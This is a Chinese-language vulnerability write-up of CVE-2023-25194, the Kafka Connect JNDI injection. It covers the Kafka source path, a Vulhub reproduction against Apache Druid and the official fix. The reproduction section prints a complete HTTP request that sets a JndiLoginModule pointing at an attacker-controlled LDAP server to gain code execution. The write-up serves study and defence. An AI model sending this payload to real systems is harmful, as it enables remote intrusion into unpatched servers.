CVE-2023-25194源码分析与漏洞复现(Kafka JNDI注入)
漏洞概述
漏洞名称:Apache Kafka Connect JNDI注入导致的远程代码执行漏洞
CVE编号:CVE-2023-25194
CVSS评分:8.8
影响版本:Apache Kafka 2.3.0 - 3.3.2
修复版本:≥ 3.4.0
漏洞类型:反序列化导致的远程代码执行(RCE)
CVE-2023-25194 是 Apache Kafka Connect 组件中的高危漏洞,源于其对用户控制的 SASL JAAS 配置缺乏安全校验。攻击者通过创建或修改 Kafka Connect 连接器时,注入恶意 JNDI 配置(如 com.sun.security.auth.module.JndiLoginModule
),可迫使 Worker 连接至攻击者控制的 LDAP 服务器,触发 JNDI 反序列化攻击,最终在服务端执行任意命令。该漏洞需满足以下条件:
- 认证访问:攻击者需能操作 Kafka Connect REST API(默认端口
8083
)。 - 配置可控:可修改连接器的 SASL JAAS 配置属性。
- 网络可达:Kafka Connect 服务需能访问攻击者搭建的 LDAP 服务器。
漏洞原理与源码分析
1. 漏洞触发链
2. 关键源码定位
漏洞入口:动态解析 SASL JAAS 配置
代码路径:org/apache/kafka/common/security/JaasContext.java
// 处理连接器配置 public static JaasContext loadClientContext(Map<String, ?> configs) {Password dynamicJaasConfig = (Password)configs.get("sasl.jaas.config");return load(Type.CLIENT, null, "KafkaClient", dynamicJaasConfig);//未校验模块安全性,直接注入配置}
漏洞点:
sasl.jaas.config
直接使用用户输入字符串- 未过滤高危模块
com.sun.security.auth.module.JndiLoginModule
JNDI 注入触发点
代码路径:com.sun.security.auth.module.JndiLoginModule#attemptAuthentication
private void attemptAuthentication(boolean getPasswdFromSharedState)throws LoginException {String encryptedPassword = null;getUsernamePassword(getPasswdFromSharedState);try {InitialContext iCtx = new InitialContext();ctx = (DirContext)iCtx.lookup(userProvider);// 触发JNDI连接 ......}
利用条件:
- 用户需能操作 Kafka Connect REST API(默认端口
8083
) - Kafka Connect 能访问攻击者的 LDAP 服务器
影响范围与利用条件
1. 受影响版本
组件 | 影响版本 | 安全版本 |
---|---|---|
Apache Kafka | 2.3.0 - 3.3.2 | ≥ 3.4.0 |
2. 利用限制
- JDK 版本限制:仅影响 JDK < 11.0.1、< 8u191、< 7u201、< 6u211(支持远程 LDAP 引用)。
- 依赖库要求:目标需存在可用的反序列化利用链(如 CommonsCollections、Groovy)。
漏洞复现
由于这个漏洞是存在于Java库kafka-clients中,所以我们需要在真实环境下找到使用了这个库的>软件,且用户可以控制连接参数。
这个软件就是Apache Druid,其使用kafka-clients来连接Kafka作为其数据源之一。本篇文章演示如何利用CVE-2023-25194来攻击Apache Druid。
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
2.访问 http://target:8888,确认服务正常运行
攻击步骤
1.下载工具 Java Chains
2.启动工具,并登录
java -jar java-chains-1.4.1.jar
- 登录密码启动时已经给出
- 访问your-ip:8011登录
3.进入JNDI
板块设置攻击机ip
4.选择jndibasicpayload
,设置要执行的命令,点击生成
5.抓包发送如下数据包
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1405{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:6666","sasl.mechanism":"SCRAM-SHA-256","security.protocol":"SASL_SSL","sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://java-chains:50389/x\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"},"topic":"test","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}
}
- 注意将之前生成的恶意
LDAP URL
放在这个请求中,并发送
6.验证
- 进入容器中查看
docker exec -it 容器号 /bin/bash
修复方案
官方修复(≥3.4.0)
代码路径:org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed
private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry entry) { // 默认黑名单:JndiLoginModule Set<String> disallowedModules = Arrays.asList( System.getProperty("org.apache.kafka.disallowed.login.modules", "com.sun.security.auth.module.JndiLoginModule") ); if (disallowedModules.contains(entry.getLoginModuleName())) { throw new IllegalArgumentException("Login module disabled: " + entry.getLoginModuleName()); }
}
修复效果:
- 默认禁用
JndiLoginModule
- 可通过系统属性扩展黑名单
漏洞启示
- 输入信任边界失效:动态配置接口必须强制校验模块白名单(如仅允许
PlainLoginModule
)。 - 默认安全强化:高危功能(如 JNDI)应默认禁用,需显式开启。
- 纵深防御实践:
- 网络隔离:Kafka Connect 部署于独立安全域。
- 进程权限:以非 root 账户运行服务。
- 持续监控:检测异常 LDAP 请求。
附:同类漏洞对比
漏洞 组件 触发点 防御核心 CVE-2023-25194 Kafka Connect SASL JAAS 配置注入 禁用危险模块 Log4Shell Log4j JNDI 查找 移除 JndiLookup CVE-2021-44244 Apache Dubbo 反序列化 Gadget 链 限制反序列化类
参考链接
- CVE-2023-25194 官方通告(Apache Kafka)
- JNDI 注入利用详解(JB51)
- 漏洞复现指南(CTF导航)
- 企业级防御建议(360CERT)
相关文章:

CVE-2023-25194源码分析与漏洞复现(Kafka JNDI注入)
漏洞概述 漏洞名称:Apache Kafka Connect JNDI注入导致的远程代码执行漏洞 CVE编号:CVE-2023-25194 CVSS评分:8.8 影响版本:Apache Kafka 2.3.0 - 3.3.2 修复版本:≥ 3.4.0 漏洞类型:反序列化导致的远程代…...
统计学(第8版)——统计抽样学习笔记(考试用)
一、统计抽样的核心内容与问题 研究内容 从总体中科学抽取样本的方法利用样本数据推断总体特征(均值、比率、总量)控制抽样误差与非抽样误差 解决的核心问题 在成本约束下,用少量样本准确推断总体特征量化估计结果的可靠性(置…...

Copilot for Xcode (iOS的 AI辅助编程)
Copilot for Xcode 简介Copilot下载与安装 体验环境要求下载最新的安装包安装登录系统权限设置 AI辅助编程生成注释代码补全简单需求代码生成辅助编程行间代码生成注释联想 代码生成 总结 简介 尝试使用了Copilot,它能根据上下文补全代码,快速生成常用…...

Axure零基础跟我学:展开与收回
亲爱的小伙伴,如有帮助请订阅专栏!跟着老师每课一练,系统学习Axure交互设计课程! Axure产品经理精品视频课https://edu.csdn.net/course/detail/40420 课程主题:Axure菜单展开与收回 课程视频:...
Docker、Wsl 打包迁移环境
电脑需要开启wsl2 可以使用wsl -v 查看当前的版本 wsl -v WSL 版本: 2.2.4.0 内核版本: 5.15.153.1-2 WSLg 版本: 1.0.61 MSRDC 版本: 1.2.5326 Direct3D 版本: 1.611.1-81528511 DXCore 版本: 10.0.2609…...

RabbitMQ 各类交换机
为什么要用交换机? 交换机用来路由消息。如果直发队列,这个消息就被处理消失了,那别的队列也需要这个消息怎么办?那就要用到交换机 交换机类型 1,fanout:广播 特点 广播所有消息:将消息…...

高保真组件库:开关
一:制作关状态 拖入一个矩形作为关闭的底色:44 x 22,填充灰色CCCCCC,圆角23,边框宽度0,文本为”关“,右对齐,边距2,2,6,2,文本颜色白色FFFFFF。 拖拽一个椭圆,尺寸18 x 18,边框为0。3. 全选转为动态面板状态1命名为”关“。 二:制作开状态 复制关状态并命名为”开…...

未授权访问事件频发,我们应当如何应对?
在当下,数据已成为企业和组织的核心资产,是推动业务发展、决策制定以及创新的关键驱动力。然而,未授权访问这一隐匿的安全威胁,正如同高悬的达摩克利斯之剑,时刻威胁着数据的安全,一旦触发,便可…...
Easy Excel
Easy Excel 一、依赖引入二、基本使用1. 定义实体类(导入/导出共用)2. 写 Excel3. 读 Excel 三、常用注解说明(完整列表)四、进阶:自定义转换器(Converter) 其它自定义转换器没生效 Easy Excel在…...

欢乐熊大话蓝牙知识17:多连接 BLE 怎么设计服务不会乱?分层思维来救场!
多连接 BLE 怎么设计服务不会乱?分层思维来救场! 作者按: 你是不是也遇到过 BLE 多连接时,调试现场像网吧“掉线风暴”? 温度传感器连上了,心率带丢了;一边 OTA 更新,一边通知卡壳。…...
AWS vs 阿里云:功能、服务与性能对比指南
在云计算领域,Amazon Web Services (AWS) 和阿里云 (Alibaba Cloud) 是全球领先的提供商,各自在功能范围、服务生态系统、性能表现和适用场景上具有独特优势。基于提供的引用[1]-[5],我将从功能、服务和性能三个方面进行结构化对比分析&#…...
用js实现常见排序算法
以下是几种常见排序算法的 JS实现,包括选择排序、冒泡排序、插入排序、快速排序和归并排序,以及每种算法的特点和复杂度分析 1. 选择排序(Selection Sort) 核心思想:每次从未排序部分选择最小元素,与未排…...
python读取SQLite表个并生成pdf文件
代码用于创建含50列的SQLite数据库并插入500行随机浮点数据,随后读取数据,通过ReportLab生成横向PDF表格,包含格式化(两位小数)及表头、网格线等美观样式。 # 导入所需库 import sqlite3 # 用于操作…...
当下AI智能硬件方案浅谈
背景: 现在大模型出来以后,打破了常规的机械式的对话,人机对话变得更聪明一点。 对话用到的技术主要是实时音视频,简称为RTC。下游硬件厂商一般都不会去自己开发音视频技术,开发自己的大模型。商用方案多见为字节、百…...
大模型真的像人一样“思考”和“理解”吗?
Yann LeCun 新研究的核心探讨:大语言模型(LLM)的“理解”和“思考”方式与人类认知的根本差异。 核心问题:大模型真的像人一样“思考”和“理解”吗? 人类的思考方式: 你的大脑是个超级整理师。面对海量信…...
【题解-洛谷】P10480 可达性统计
题目:P10480 可达性统计 题目描述 给定一张 N N N 个点 M M M 条边的有向无环图,分别统计从每个点出发能够到达的点的数量。 输入格式 第一行两个整数 N , M N,M N,M,接下来 M M M 行每行两个整数 x , y x,y x,y,表示从 …...
在Spring Boot中集成RabbitMQ的完整指南
前言 在现代微服务架构中,消息队列(Message Queue)是实现异步通信、解耦系统组件的重要工具。RabbitMQ 是一个流行的消息中间件,支持多种消息协议,具有高可靠性和可扩展性。 本博客将详细介绍如何在 Spring Boot 项目…...

Element-Plus:popconfirm与tooltip一起使用不生效?
你们好,我是金金金。 场景 我正在使用Element-plus组件库当中的el-popconfirm和el-tooltip,产品要求是两个需要结合一起使用,也就是鼠标悬浮上去有提示文字,并且点击之后需要出现气泡确认框 代码 <el-popconfirm title"是…...

Selenium 查找页面元素的方式
Selenium 查找页面元素的方式 Selenium 提供了多种方法来查找网页中的元素,以下是主要的定位方式: 基本定位方式 通过ID定位 driver.find_element(By.ID, "element_id")通过Name定位 driver.find_element(By.NAME, "element_name"…...

OPENCV图形计算面积、弧长API讲解(1)
一.OPENCV图形面积、弧长计算的API介绍 之前我们已经把图形轮廓的检测、画框等功能讲解了一遍。那今天我们主要结合轮廓检测的API去计算图形的面积,这些面积可以是矩形、圆形等等。图形面积计算和弧长计算常用于车辆识别、桥梁识别等重要功能,常用的API…...
【Java】Ajax 技术详解
文章目录 1. Filter 过滤器1.1 Filter 概述1.2 Filter 快速入门开发步骤:1.3 Filter 执行流程1.4 Filter 拦截路径配置1.5 过滤器链2. Listener 监听器2.1 Listener 概述2.2 ServletContextListener3. Ajax 技术3.1 Ajax 概述3.2 Ajax 快速入门服务端实现:客户端实现:4. Axi…...

spring boot使用HttpServletResponse实现sse后端流式输出消息
1.以前只是看过SSE的相关文章,没有具体实践,这次接入AI大模型使用到了流式输出,涉及到给前端流式返回,所以记录一下。 2.resp要设置为text/event-stream resp.setContentType("text/event-stream"); resp.setCharacter…...

二叉树-144.二叉树的前序遍历-力扣(LeetCode)
一、题目解析 对于递归方法的前序遍历十分简单,但对于一位合格的程序猿而言,需要掌握将递归转化为非递归的能力,毕竟递归调用的时候会调用大量的栈帧,存在栈溢出风险。 二、算法原理 递归调用本质是系统建立栈帧,而非…...
无需布线的革命:电力载波技术赋能楼宇自控系统-亚川科技
无需布线的革命:电力载波技术赋能楼宇自控系统 在楼宇自动化领域,传统控制系统依赖复杂的专用通信线路,不仅施工成本高昂,后期维护和扩展也极为不便。电力载波技术(PLC)的突破性应用,彻底改变了…...
Netty自定义协议解析
目录 自定义协议设计 实现消息解码器 实现消息编码器 自定义消息对象 配置ChannelPipeline Netty提供了强大的编解码器抽象基类,这些基类能够帮助开发者快速实现自定义协议的解析。 自定义协议设计 在实现自定义协议解析之前,需要明确协议的具体格式。例如,一个简单的…...
__VUE_PROD_HYDRATION_MISMATCH_DETAILS__ is not explicitly defined.
这个警告表明您在使用Vue的esm-bundler构建版本时,未明确定义编译时特性标志。以下是详细解释和解决方案: 问题原因: 该标志是Vue 3.4引入的编译时特性标志,用于控制生产环境下SSR水合不匹配错误的详细报告1使用esm-bundler…...

【技巧】dify前端源代码修改第一弹-增加tab页
回到目录 【技巧】dify前端源代码修改第一弹-增加tab页 尝试修改dify的前端源代码,在知识库增加一个tab页"HELLO WORLD",完成后的效果如下 [gif01] 1. 前端代码进入调试模式 参考 【部署】win10的wsl环境下启动dify的web前端服务 启动调试…...

Java设计模式:责任链模式
一、什么是责任链模式? 责任链模式(Chain of Responsibility Pattern) 是一种 行为型设计模式,它通过将请求沿着一条处理链传递,直到某个对象处理它为止。这种模式的核心思想是 解耦请求的发送者和接收者,…...
比特币:固若金汤的数字堡垒与它的四道防线
第一道防线:机密信函——无法破解的哈希加密 将每一笔比特币交易比作一封在堡垒内部传递的机密信函。 解释“哈希”(Hashing)就是一种军事级的加密术(SHA-256),能将信函内容(交易细节…...
基于 HTTP 的单向流式通信协议SSE详解
SSE(Server-Sent Events)详解 🧠 什么是 SSE? SSE(Server-Sent Events) 是 HTML5 标准中定义的一种通信机制,它允许服务器主动将事件推送给客户端(浏览器)。与传统的 H…...